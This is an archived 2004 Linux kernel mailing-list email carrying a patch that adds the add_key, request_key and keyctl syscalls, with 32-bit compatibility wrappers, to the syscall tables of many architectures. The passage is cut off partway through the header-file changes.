	doing -bs
User-Agent: EMH/1.14.1 SEMI/1.14.5 (Awara-Onsen) FLIM/1.14.5 (Demachiyanagi)
	APEL/10.6 Emacs/21.3 (i386-redhat-linux-gnu) MULE/5.0 (SAKAKI)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24979

Hi Linus, Andrew,

The attached patch adds syscalls for almost all archs (everything barring
m68knommu which is in a real mess, and i386 which already has it).

It also adds 32->64 compatibility where appropriate.

David

Signed-Off-By: David Howells <dhowells@redhat.com>
---

warthog>diffstat keys-269bk4.diff 
 arch/alpha/kernel/systbls.S        |    3 +++
 arch/arm/kernel/calls.S            |    3 +++
 arch/cris/arch-v10/kernel/entry.S  |    3 +++
 arch/h8300/kernel/syscalls.S       |    3 +++
 arch/ia64/ia32/ia32_entry.S        |    4 ++++
 arch/ia64/ia32/sys_ia32.c          |   20 ++++++++++++++++++++
 arch/ia64/kernel/entry.S           |    6 +++---
 arch/ia64/kernel/fsys.S            |    6 +++---
 arch/m32r/kernel/entry.S           |    3 +++
 arch/m68k/kernel/entry.S           |    3 +++
 arch/mips/kernel/scall32-o32.S     |    3 +++
 arch/mips/kernel/scall64-64.S      |    3 +++
 arch/mips/kernel/scall64-n32.S     |    3 +++
 arch/mips/kernel/scall64-o32.S     |    3 +++
 arch/parisc/kernel/syscall_table.S |    4 +++-
 arch/ppc/kernel/misc.S             |    3 +++
 arch/ppc64/kernel/misc.S           |    6 ++++++
 arch/ppc64/kernel/sys_ppc32.c      |   33 +++++++++++++++++++++++++++++++++
 arch/s390/kernel/compat_wrapper.S  |   26 ++++++++++++++++++++++++++
 arch/s390/kernel/syscalls.S        |    3 +++
 arch/sh/kernel/entry.S             |    4 ++++
 arch/sh64/kernel/syscalls.S        |    4 +++-
 arch/sparc/kernel/systbls.S        |    2 +-
 arch/sparc64/kernel/sys32.S        |    3 +++
 arch/sparc64/kernel/systbls.S      |    4 ++--
 arch/um/kernel/sys_call_table.c    |    3 +++
 arch/v850/kernel/entry.S           |    3 +++
 arch/x86_64/ia32/ia32entry.S       |    4 ++++
 include/asm-alpha/unistd.h         |    5 ++++-
 include/asm-arm/unistd.h           |    3 +++
 include/asm-arm26/unistd.h         |    3 +++
 include/asm-cris/unistd.h          |    5 ++++-
 include/asm-h8300/unistd.h         |    5 ++++-
 include/asm-ia64/unistd.h          |    3 +++
 include/asm-m32r/unistd.h          |    5 ++++-
 include/asm-m68k/unistd.h          |    5 ++++-
 include/asm-mips/unistd.h          |   17 +++++++++++++----
 include/asm-parisc/unistd.h        |    5 ++++-
 include/asm-ppc/unistd.h           |    5 ++++-
 include/asm-ppc64/unistd.h         |    5 ++++-
 include/asm-s390/unistd.h          |    5 ++++-
 include/asm-sh/unistd.h            |    5 ++++-
 include/asm-sh64/unistd.h          |    5 ++++-
 include/asm-sparc/unistd.h         |    3 +++
 include/asm-sparc64/unistd.h       |    3 +++
 include/asm-v850/unistd.h          |    3 +++
 include/asm-x86_64/unistd.h        |    8 +++++++-
 47 files changed, 239 insertions(+), 27 deletions(-)

diff -uNrp linux-2.6.9-bk4/arch/alpha/kernel/systbls.S linux-2.6.9-bk4-keys/arch/alpha/kernel/systbls.S
--- linux-2.6.9-bk4/arch/alpha/kernel/systbls.S	2004-10-19 10:41:41.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/alpha/kernel/systbls.S	2004-10-20 14:47:43.275151615 +0100
@@ -458,6 +458,9 @@ sys_call_table:
 	.quad sys_mq_notify
 	.quad sys_mq_getsetattr
 	.quad sys_waitid
+	.quad sys_add_key
+	.quad sys_request_key
+	.quad sys_keyctl
 
 	.size sys_call_table, . - sys_call_table
 	.type sys_call_table, @object
diff -uNrp linux-2.6.9-bk4/arch/arm/kernel/calls.S linux-2.6.9-bk4-keys/arch/arm/kernel/calls.S
--- linux-2.6.9-bk4/arch/arm/kernel/calls.S	2004-10-19 10:41:42.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/arm/kernel/calls.S	2004-10-20 14:57:39.641915157 +0100
@@ -295,6 +295,9 @@ __syscall_start:
 		.long	sys_mq_notify
 		.long	sys_mq_getsetattr
 /* 280 */	.long	sys_waitid
+		.long	sys_add_key
+		.long	sys_request_key
+		.long	sys_keyctl
 __syscall_end:
 
 		.rept	NR_syscalls - (__syscall_end - __syscall_start) / 4
diff -uNrp linux-2.6.9-bk4/arch/cris/arch-v10/kernel/entry.S linux-2.6.9-bk4-keys/arch/cris/arch-v10/kernel/entry.S
--- linux-2.6.9-bk4/arch/cris/arch-v10/kernel/entry.S	2004-06-18 13:43:42.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/cris/arch-v10/kernel/entry.S	2004-10-20 14:44:52.215209105 +0100
@@ -1079,6 +1079,9 @@ sys_call_table:	
 	.long sys_mq_timedreceive	/* 280 */
 	.long sys_mq_notify
 	.long sys_mq_getsetattr
+	.long sys_add_key
+	.long sys_request_key	/* 285 */
+	.long sys_keyctl
 		
         /*
          * NOTE!! This doesn't have to be exact - we just have
diff -uNrp linux-2.6.9-bk4/arch/h8300/kernel/syscalls.S linux-2.6.9-bk4-keys/arch/h8300/kernel/syscalls.S
--- linux-2.6.9-bk4/arch/h8300/kernel/syscalls.S	2004-06-18 13:43:42.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/h8300/kernel/syscalls.S	2004-10-20 15:00:36.035535939 +0100
@@ -289,6 +289,9 @@ SYMBOL_NAME_LABEL(sys_call_table)	
 	.long SYMBOL_NAME(sys_utimes)
  	.long SYMBOL_NAME(sys_fadvise64_64)
 	.long SYMBOL_NAME(sys_ni_syscall)	/* sys_vserver */
+	.long SYMBOL_NAME(sys_add_key)
+	.long SYMBOL_NAME(sys_request_key)	/* 275 */
+	.long SYMBOL_NAME(sys_keyctl)
 
 	.rept NR_syscalls-(.-SYMBOL_NAME(sys_call_table))/4
 		.long SYMBOL_NAME(sys_ni_syscall)
diff -uNrp linux-2.6.9-bk4/arch/ia64/ia32/ia32_entry.S linux-2.6.9-bk4-keys/arch/ia64/ia32/ia32_entry.S
--- linux-2.6.9-bk4/arch/ia64/ia32/ia32_entry.S	2004-10-19 10:41:43.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/ia64/ia32/ia32_entry.S	2004-10-20 15:25:01.365546264 +0100
@@ -495,6 +495,10 @@ ia32_syscall_table:
   	data8 compat_sys_mq_getsetattr
 	data8 sys_ni_syscall		/* reserved for kexec */
 	data8 sys32_waitid
+	data8 sys_ni_syscall		/* reserved for setaltroot */
+	data8 sys32_add_key
+	data8 sys32_request_key
+	data8 sys_keyctl
 
 	// guard against failures to increase IA32_NR_syscalls
 	.org ia32_syscall_table + 8*IA32_NR_syscalls
diff -uNrp linux-2.6.9-bk4/arch/ia64/ia32/sys_ia32.c linux-2.6.9-bk4-keys/arch/ia64/ia32/sys_ia32.c
--- linux-2.6.9-bk4/arch/ia64/ia32/sys_ia32.c	2004-10-19 10:41:43.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/ia64/ia32/sys_ia32.c	2004-10-20 15:28:48.663376741 +0100
@@ -2687,6 +2687,26 @@ asmlinkage long sys32_waitid(int which, 
 	return copy_siginfo_to_user32(uinfo, &info);
 }
 
+
+asmlinkage long sys32_add_key(const char __user *_type,
+			      const char __user *_description,
+			      const void __user *_payload,
+			      __u32 plen,
+			      __u32 ringid)
+{
+	sys_add_key(_type, _description, _payload, (size_t) plen,
+		    (key_serial_t) ringid);
+}
+
+asmlinkage long sys32_request_key(const char __user *_type,
+				  const char __user *_description,
+				  const char __user *_callout_info,
+				  __u32 destringid)
+{
+	sys_request_key(_type, _description, _callout_info,
+			(key_serial_t) destringid);
+}
+
 #ifdef	NOTYET  /* UNTESTED FOR IA64 FROM HERE DOWN */
 
 asmlinkage long sys32_setreuid(compat_uid_t ruid, compat_uid_t euid)
diff -uNrp linux-2.6.9-bk4/arch/ia64/kernel/entry.S linux-2.6.9-bk4-keys/arch/ia64/kernel/entry.S
--- linux-2.6.9-bk4/arch/ia64/kernel/entry.S	2004-10-20 14:02:54.138626787 +0100
+++ linux-2.6.9-bk4-keys/arch/ia64/kernel/entry.S	2004-10-20 14:45:48.309267588 +0100
@@ -1528,9 +1528,9 @@ sys_call_table:
 	data8 sys_ni_syscall			// reserved for kexec_load
 	data8 sys_ni_syscall
 	data8 sys_setaltroot			// 1270
-	data8 sys_ni_syscall
-	data8 sys_ni_syscall
-	data8 sys_ni_syscall
+	data8 sys_add_key
+	data8 sys_request_key
+	data8 sys_keyctl
 	data8 sys_ni_syscall
 	data8 sys_ni_syscall			// 1275
 	data8 sys_ni_syscall
diff -uNrp linux-2.6.9-bk4/arch/ia64/kernel/fsys.S linux-2.6.9-bk4-keys/arch/ia64/kernel/fsys.S
--- linux-2.6.9-bk4/arch/ia64/kernel/fsys.S	2004-10-19 10:41:43.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/ia64/kernel/fsys.S	2004-10-20 14:46:27.814789684 +0100
@@ -868,9 +868,9 @@ fsyscall_table:
 	data8 0				// kexec_load
 	data8 0
 	data8 0							// 1270
-	data8 0
-	data8 0
-	data8 0
+	data8 0				// add_key
+	data8 0				// request_key
+	data8 0				// keyctl
 	data8 0
 	data8 0							// 1275
 	data8 0
diff -uNrp linux-2.6.9-bk4/arch/m32r/kernel/entry.S linux-2.6.9-bk4-keys/arch/m32r/kernel/entry.S
--- linux-2.6.9-bk4/arch/m32r/kernel/entry.S	2004-10-19 10:41:44.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/m32r/kernel/entry.S	2004-10-20 15:09:17.798751465 +0100
@@ -994,6 +994,9 @@ ENTRY(sys_call_table)
         .long sys_mq_getsetattr
         .long sys_ni_syscall            /* reserved for kexec */
 	.long sys_waitid
+	.long sys_add_key		/* 285 */
+	.long sys_request_key
+	.long sys_keyctl
 
 syscall_table_size=(.-sys_call_table)
 
diff -uNrp linux-2.6.9-bk4/arch/m68k/kernel/entry.S linux-2.6.9-bk4-keys/arch/m68k/kernel/entry.S
--- linux-2.6.9-bk4/arch/m68k/kernel/entry.S	2004-06-18 13:43:44.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/m68k/kernel/entry.S	2004-10-20 14:45:20.678701183 +0100
@@ -663,3 +663,6 @@ sys_call_table:
 	.long sys_lremovexattr
 	.long sys_fremovexattr
 	.long sys_futex		/* 235 */
+	.long sys_add_key
+	.long sys_request_key
+	.long sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/mips/kernel/scall32-o32.S linux-2.6.9-bk4-keys/arch/mips/kernel/scall32-o32.S
--- linux-2.6.9-bk4/arch/mips/kernel/scall32-o32.S	2004-09-16 12:05:47.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/mips/kernel/scall32-o32.S	2004-10-20 14:30:46.698878816 +0100
@@ -628,6 +628,9 @@ out:	jr	ra
 	sys	sys_mq_notify		2	/* 4275 */
 	sys	sys_mq_getsetattr	3
 	sys	sys_ni_syscall		0	/* sys_vserver */
+	sys	sys_add_key		5
+	sys	sys_request_key		4
+	sys	sys_keyctl		5
 
 	.endm
 
diff -uNrp linux-2.6.9-bk4/arch/mips/kernel/scall64-64.S linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-64.S
--- linux-2.6.9-bk4/arch/mips/kernel/scall64-64.S	2004-09-16 12:05:47.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-64.S	2004-10-20 14:32:42.206470034 +0100
@@ -448,3 +448,6 @@ sys_call_table:
 	PTR	sys_mq_notify
 	PTR	sys_mq_getsetattr		/* 5235 */
 	PTR	sys_ni_syscall			/* sys_vserver */
+	PTR	sys_add_key
+	PTR	sys_request_key
+	PTR	sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/mips/kernel/scall64-n32.S linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-n32.S
--- linux-2.6.9-bk4/arch/mips/kernel/scall64-n32.S	2004-09-16 12:05:47.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-n32.S	2004-10-20 15:12:10.687967430 +0100
@@ -358,3 +358,6 @@ EXPORT(sysn32_call_table)
 	PTR	compat_sys_mq_notify
 	PTR	compat_sys_mq_getsetattr	/* 6239 */
 	PTR	sys_ni_syscall			/* sys_vserver */
+	PTR	sys_add_key
+	PTR	sys_request_key
+	PTR	sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/mips/kernel/scall64-o32.S linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-o32.S
--- linux-2.6.9-bk4/arch/mips/kernel/scall64-o32.S	2004-09-16 12:05:47.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/mips/kernel/scall64-o32.S	2004-10-20 15:11:26.761722025 +0100
@@ -536,6 +536,9 @@ out:	jr	ra
 	sys	compat_sys_mq_notify	2	/* 4275 */
 	sys	compat_sys_mq_getsetattr 3
 	sys	sys_ni_syscall		0	/* sys_vserver */
+	sys	sys_add_key		5
+	sys	sys_request_key		4
+	sys	sys_keyctl		5
 
 	.endm
 
diff -uNrp linux-2.6.9-bk4/arch/parisc/kernel/syscall_table.S linux-2.6.9-bk4-keys/arch/parisc/kernel/syscall_table.S
--- linux-2.6.9-bk4/arch/parisc/kernel/syscall_table.S	2004-06-18 13:43:47.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/parisc/kernel/syscall_table.S	2004-10-20 14:58:51.533643420 +0100
@@ -341,5 +341,7 @@
   ENTRY_SAME(mq_timedreceive)
   ENTRY_SAME(mq_notify)
   ENTRY_SAME(mq_getsetattr)
-  /* Nothing yet */       /* 235 */
+	ENTRY_SAME(add_key)	/* 235 */
+	ENTRY_SAME(request_key)
+	ENTRY_SAME(keyctl)
 
diff -uNrp linux-2.6.9-bk4/arch/ppc/kernel/misc.S linux-2.6.9-bk4-keys/arch/ppc/kernel/misc.S
--- linux-2.6.9-bk4/arch/ppc/kernel/misc.S	2004-10-19 10:41:46.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/ppc/kernel/misc.S	2004-10-20 14:43:37.665815385 +0100
@@ -1447,3 +1447,6 @@ _GLOBAL(sys_call_table)
 	.long sys_mq_notify
 	.long sys_mq_getsetattr
 	.long sys_ni_syscall		/* 268 reserved for sys_kexec_load */
+	.long sys_add_key
+	.long sys_request_key		/* 270 */
+	.long sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/ppc64/kernel/misc.S linux-2.6.9-bk4-keys/arch/ppc64/kernel/misc.S
--- linux-2.6.9-bk4/arch/ppc64/kernel/misc.S	2004-10-20 14:02:55.974474037 +0100
+++ linux-2.6.9-bk4-keys/arch/ppc64/kernel/misc.S	2004-10-20 14:57:18.470763092 +0100
@@ -963,6 +963,9 @@ _GLOBAL(sys_call_table32)
 	.llong .compat_sys_mq_notify
 	.llong .compat_sys_mq_getsetattr
 	.llong .sys_ni_syscall		/* 268 reserved for sys_kexec_load */
+	.llong .sys32_add_key
+	.llong .sys32_request_key
+	.llong .sys32_keyctl
 
 	.balign 8
 _GLOBAL(sys_call_table)
@@ -1235,3 +1238,6 @@ _GLOBAL(sys_call_table)
 	.llong .sys_mq_notify
 	.llong .sys_mq_getsetattr
 	.llong .sys_ni_syscall		/* 268 reserved for sys_kexec_load */
+	.llong .sys_add_key
+	.llong .sys_request_key		/* 270 */
+	.llong .sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/ppc64/kernel/sys_ppc32.c linux-2.6.9-bk4-keys/arch/ppc64/kernel/sys_ppc32.c
--- linux-2.6.9-bk4/arch/ppc64/kernel/sys_ppc32.c	2004-10-20 14:02:56.046468047 +0100
+++ linux-2.6.9-bk4-keys/arch/ppc64/kernel/sys_ppc32.c	2004-10-20 15:29:22.936487493 +0100
@@ -1328,3 +1328,36 @@ long ppc32_timer_create(clockid_t clock,
 
 	return err;
 }
+
+asmlinkage long sys32_add_key(const char __user *_type,
+			      const char __user *_description,
+			      const void __user *_payload,
+			      u32 plen,
+			      u32 ringid)
+{
+	sys_add_key(_type, _description, _payload, (size_t) plen,
+		    (key_serial_t) ringid);
+}
+
+asmlinkage long sys32_request_key(const char __user *_type,
+				  const char __user *_description,
+				  const char __user *_callout_info,
+				  u32 destringid)
+{
+	sys_request_key(_type, _description, _callout_info,
+			(key_serial_t) destringid);
+}
+
+/* Note: it is necessary to treat option as an unsigned int, 
+ * with the corresponding cast to a signed int to insure that the 
+ * proper conversion (sign extension) between the register representation of a signed int (msr in 32-bit mode)
+ * and the register representation of a signed int (msr in 64-bit mode) is performed.
+ */
+asmlinkage long sys32_keyctl(u32 option, u32 arg2, u32 arg3, u32 arg4, u32 arg5)
+{
+	return sys_keyctl((int)option,
+			 (unsigned long) arg2,
+			 (unsigned long) arg3,
+			 (unsigned long) arg4,
+			 (unsigned long) arg5);
+}
diff -uNrp linux-2.6.9-bk4/arch/s390/kernel/compat_wrapper.S linux-2.6.9-bk4-keys/arch/s390/kernel/compat_wrapper.S
--- linux-2.6.9-bk4/arch/s390/kernel/compat_wrapper.S	2004-06-18 13:43:49.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/s390/kernel/compat_wrapper.S	2004-10-20 15:08:00.071403677 +0100
@@ -1406,3 +1406,29 @@ compat_sys_mq_getsetattr_wrapper:
 	llgtr	%r3,%r3			# struct compat_mq_attr *
 	llgtr	%r4,%r4			# struct compat_mq_attr *
 	jg	compat_sys_mq_getsetattr
+
+	.globl  sys32_add_key_wrapper
+sys32_add_key_wrapper:
+	lgfr	%r2,%r2			# const char *
+	llgfr	%r3,%r3			# const char *
+	llgfr	%r4,%r4			# const void *
+	llgfr	%r5,%r5			# size_t
+	llgfr	%r6,%r6			# key_serial_t
+	jg	sys_add_key		# branch to system call
+
+	.globl  sys32_request_key_wrapper
+sys32_request_key_wrapper:
+	lgfr	%r2,%r2			# const char *
+	llgfr	%r3,%r3			# const char *
+	llgfr	%r4,%r4			# const char *
+	llgfr	%r5,%r5			# key_serial_t
+	jg	sys_request_key		# branch to system call
+
+	.globl  sys32_keyctl_wrapper
+sys32_keyctl_wrapper:
+	lgfr	%r2,%r2			# int
+	llgfr	%r3,%r3			# unsigned long
+	llgfr	%r4,%r4			# unsigned long
+	llgfr	%r5,%r5			# unsigned long
+	llgfr	%r6,%r6			# unsigned long
+	jg	sys_keyctl		# branch to system call
diff -uNrp linux-2.6.9-bk4/arch/s390/kernel/syscalls.S linux-2.6.9-bk4-keys/arch/s390/kernel/syscalls.S
--- linux-2.6.9-bk4/arch/s390/kernel/syscalls.S	2004-06-18 13:43:49.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/s390/kernel/syscalls.S	2004-10-20 15:05:49.863555437 +0100
@@ -285,3 +285,6 @@ SYSCALL(sys_mq_timedsend,sys_mq_timedsen
 SYSCALL(sys_mq_timedreceive,sys_mq_timedreceive,compat_sys_mq_timedreceive_wrapper)
 SYSCALL(sys_mq_notify,sys_mq_notify,compat_sys_mq_notify_wrapper)
 SYSCALL(sys_mq_getsetattr,sys_mq_getsetattr,compat_sys_mq_getsetattr_wrapper)
+SYSCALL(sys_add_key,sys_add_key,sys32_add_key_wrapper)
+SYSCALL(sys_request_key,sys_request_key,sys32_request_key_wrapper)
+SYSCALL(sys_keyctl,sys_keyctl,sys32_keyctl_wrapper)
diff -uNrp linux-2.6.9-bk4/arch/sh/kernel/entry.S linux-2.6.9-bk4-keys/arch/sh/kernel/entry.S
--- linux-2.6.9-bk4/arch/sh/kernel/entry.S	2004-10-20 14:02:56.666416464 +0100
+++ linux-2.6.9-bk4-keys/arch/sh/kernel/entry.S	2004-10-20 14:26:32.677689027 +0100
@@ -1140,5 +1140,9 @@ ENTRY(sys_call_table)
 	.long sys_mq_timedreceive       /* 280 */
 	.long sys_mq_notify
 	.long sys_mq_getsetattr
+	.long sys_add_key
+	.long sys_request_key
+	.long sys_keyctl		/* 285 */
+	
 
 /* End of entry.S */
diff -uNrp linux-2.6.9-bk4/arch/sh64/kernel/syscalls.S linux-2.6.9-bk4-keys/arch/sh64/kernel/syscalls.S
--- linux-2.6.9-bk4/arch/sh64/kernel/syscalls.S	2004-09-16 12:05:50.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/sh64/kernel/syscalls.S	2004-10-20 15:08:45.682499668 +0100
@@ -337,4 +337,6 @@ sys_call_table:
 	.long sys_mq_timedreceive
 	.long sys_mq_notify
 	.long sys_mq_getsetattr		/* 310 */
-
+	.long sys_add_key
+	.long sys_request_key
+	.long sys_keyctl
diff -uNrp linux-2.6.9-bk4/arch/sparc/kernel/systbls.S linux-2.6.9-bk4-keys/arch/sparc/kernel/systbls.S
--- linux-2.6.9-bk4/arch/sparc/kernel/systbls.S	2004-10-19 10:41:48.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/sparc/kernel/systbls.S	2004-10-20 14:25:23.775664787 +0100
@@ -75,7 +75,7 @@ sys_call_table:
 /*265*/	.long sys_timer_delete, sys_timer_create, sys_nis_syscall, sys_io_setup, sys_io_destroy
 /*270*/	.long sys_io_submit, sys_io_cancel, sys_io_getevents, sys_mq_open, sys_mq_unlink
 /*275*/	.long sys_mq_timedsend, sys_mq_timedreceive, sys_mq_notify, sys_mq_getsetattr, sys_waitid
-/*280*/	.long sys_ni_syscall, sys_ni_syscall, sys_ni_syscall
+/*280*/	.long sys_add_key, sys_request_key, sys_keyctl
 
 #ifdef CONFIG_SUNOS_EMUL
 	/* Now the SunOS syscall table. */
diff -uNrp linux-2.6.9-bk4/arch/sparc64/kernel/sys32.S linux-2.6.9-bk4-keys/arch/sparc64/kernel/sys32.S
--- linux-2.6.9-bk4/arch/sparc64/kernel/sys32.S	2004-10-19 10:41:48.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/sparc64/kernel/sys32.S	2004-10-20 15:22:48.095792589 +0100
@@ -135,6 +135,9 @@ SIGN2(sys32_shutdown, sys_shutdown, %o0,
 SIGN3(sys32_socketpair, sys_socketpair, %o0, %o1, %o2)
 SIGN1(sys32_getpeername, sys_getpeername, %o0)
 SIGN1(sys32_getsockname, sys_getsockname, %o0)
+SIGN2(sys32_add_key, sys_add_key, %o3, %o4)
+SIGN1(sys32_request_key, sys_request_key, %o3)
+SIGN1(sys32_keyctl, sys_keyctl, %o0)
 
 	.globl		sys32_mmap2
 sys32_mmap2:
diff -uNrp linux-2.6.9-bk4/arch/sparc64/kernel/systbls.S linux-2.6.9-bk4-keys/arch/sparc64/kernel/systbls.S
--- linux-2.6.9-bk4/arch/sparc64/kernel/systbls.S	2004-10-19 10:41:48.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/sparc64/kernel/systbls.S	2004-10-20 14:42:28.934934888 +0100
@@ -76,7 +76,7 @@ sys_call_table32:
 	.word sys_timer_delete, sys32_timer_create, sys_ni_syscall, compat_sys_io_setup, sys_io_destroy
 /*270*/	.word sys32_io_submit, sys_io_cancel, compat_sys_io_getevents, sys32_mq_open, sys_mq_unlink
 	.word sys_mq_timedsend, sys_mq_timedreceive, compat_sys_mq_notify, compat_sys_mq_getsetattr, compat_sys_waitid
-/*280*/	.word sys_ni_syscall, sys_ni_syscall, sys_ni_syscall
+/*280*/	.word sys32_add_key, sys32_request_key, sys32_keyctl
 
 #endif /* CONFIG_COMPAT */
 
@@ -142,7 +142,7 @@ sys_call_table:
 	.word sys_timer_delete, sys_timer_create, sys_ni_syscall, sys_io_setup, sys_io_destroy
 /*270*/	.word sys_io_submit, sys_io_cancel, sys_io_getevents, sys_mq_open, sys_mq_unlink
 	.word sys_mq_timedsend, sys_mq_timedreceive, sys_mq_notify, sys_mq_getsetattr, sys_waitid
-/*280*/	.word sys_ni_syscall, sys_ni_syscall, sys_ni_syscall
+/*280*/	.word sys_add_key, sys_request_key, sys_keyctl
 
 #if defined(CONFIG_SUNOS_EMUL) || defined(CONFIG_SOLARIS_EMUL) || \
     defined(CONFIG_SOLARIS_EMUL_MODULE)
diff -uNrp linux-2.6.9-bk4/arch/um/kernel/sys_call_table.c linux-2.6.9-bk4-keys/arch/um/kernel/sys_call_table.c
--- linux-2.6.9-bk4/arch/um/kernel/sys_call_table.c	2004-10-19 10:41:49.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/um/kernel/sys_call_table.c	2004-10-20 14:44:10.557889241 +0100
@@ -306,6 +306,9 @@ syscall_handler_t *sys_call_table[] = {
 	[ __NR_utimes ] (syscall_handler_t *) sys_utimes,
 	[ __NR_fadvise64_64 ] (syscall_handler_t *) sys_fadvise64_64,
 	[ __NR_vserver ] (syscall_handler_t *) sys_ni_syscall,
+	[ __NR_add_key ] (syscall_handler_t *) sys_add_key,
+	[ __NR_request_key ] (syscall_handler_t *) sys_request_key,
+	[ __NR_keyctl ] (syscall_handler_t *) sys_keyctl,
 
 	ARCH_SYSCALLS
 	[ LAST_SYSCALL + 1 ... NR_syscalls ] = 
diff -uNrp linux-2.6.9-bk4/arch/v850/kernel/entry.S linux-2.6.9-bk4-keys/arch/v850/kernel/entry.S
--- linux-2.6.9-bk4/arch/v850/kernel/entry.S	2004-06-18 13:41:13.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/v850/kernel/entry.S	2004-10-20 15:02:06.154739578 +0100
@@ -1117,5 +1117,8 @@ C_DATA(sys_call_table):
 	.long CSYM(sys_pivot_root)	// 200
 	.long CSYM(sys_gettid)
 	.long CSYM(sys_tkill)
+	.long CSYM(sys_add_key)
+	.long CSYM(sys_request_key)
+	.long CSYM(sys_keyctl)		// 205
 sys_call_table_end:
 C_END(sys_call_table)
diff -uNrp linux-2.6.9-bk4/arch/x86_64/ia32/ia32entry.S linux-2.6.9-bk4-keys/arch/x86_64/ia32/ia32entry.S
--- linux-2.6.9-bk4/arch/x86_64/ia32/ia32entry.S	2004-10-19 10:41:49.000000000 +0100
+++ linux-2.6.9-bk4-keys/arch/x86_64/ia32/ia32entry.S	2004-10-20 15:04:46.183013167 +0100
@@ -587,6 +587,10 @@ ia32_sys_call_table:
 	.quad compat_sys_mq_getsetattr
 	.quad quiet_ni_syscall		/* reserved for kexec */
 	.quad sys32_waitid
+	.quad quiet_ni_syscall		/* 285 reserved for setaltroot */
+	.quad sys_add_key
+	.quad sys_request_key
+	.quad sys_keyctl
 	/* don't forget to change IA32_NR_syscalls */
 ia32_syscall_end:		
 	.rept IA32_NR_syscalls-(ia32_syscall_end-ia32_sys_call_table)/8
diff -uNrp linux-2.6.9-bk4/include/asm-alpha/unistd.h linux-2.6.9-bk4-keys/include/asm-alpha/unistd.h
--- linux-2.6.9-bk4/include/asm-alpha/unistd.h	2004-10-19 10:42:11.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-alpha/unistd.h	2004-10-20 14:18:36.681064345 +0100
@@ -374,8 +374,11 @@
 #define __NR_mq_notify			436
 #define __NR_mq_getsetattr		437
 #define __NR_waitid			438
+#define __NR_add_key			439
+#define __NR_request_key		440
+#define __NR_keyctl			441
 
-#define NR_SYSCALLS			439
+#define NR_SYSCALLS			442
 
 #if defined(__GNUC__)
 
diff -uNrp linux-2.6.9-bk4/include/asm-arm/unistd.h linux-2.6.9-bk4-keys/include/asm-arm/unistd.h
--- linux-2.6.9-bk4/include/asm-arm/unistd.h	2004-10-19 10:42:12.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-arm/unistd.h	2004-10-20 14:17:35.183426405 +0100
@@ -306,6 +306,9 @@
 #define __NR_mq_notify			(__NR_SYSCALL_BASE+278)
 #define __NR_mq_getsetattr		(__NR_SYSCALL_BASE+279)
 #define __NR_waitid			(__NR_SYSCALL_BASE+280)
+#define __NR_add_key			(__NR_SYSCALL_BASE+281)
+#define __NR_request_key		(__NR_SYSCALL_BASE+282)
+#define __NR_keyctl			(__NR_SYSCALL_BASE+283)
 
 /*
  * The following SWIs are ARM private.
diff -uNrp linux-2.6.9-bk4/include/asm-arm26/unistd.h linux-2.6.9-bk4-keys/include/asm-arm26/unistd.h
--- linux-2.6.9-bk4/include/asm-arm26/unistd.h	2004-06-18 13:44:05.000000000 +0100
+++ linux-2.6.9-bk4-keys/include/asm-arm26/unistd.h	2004-10-20 14:16:45.004804472 +0100
@@ -260,6 +260,9 @@
 #define __NR_lremovexattr		(__NR_SYSCALL_BASE+236)
 #define __NR_fremovexattr		(__NR_SYSCALL_BASE+237)
 #define __NR_tkill			(__NR_SYSCALL_BASE+238)
+#define __NR_add_key			(__NR_SYSCALL_BASE+239)
+#define __NR_request_key		(__NR_SYSCALL_BASE+240)
+#define __NR_keyctl			(__NR_SYSCALL_BASE+241)
 
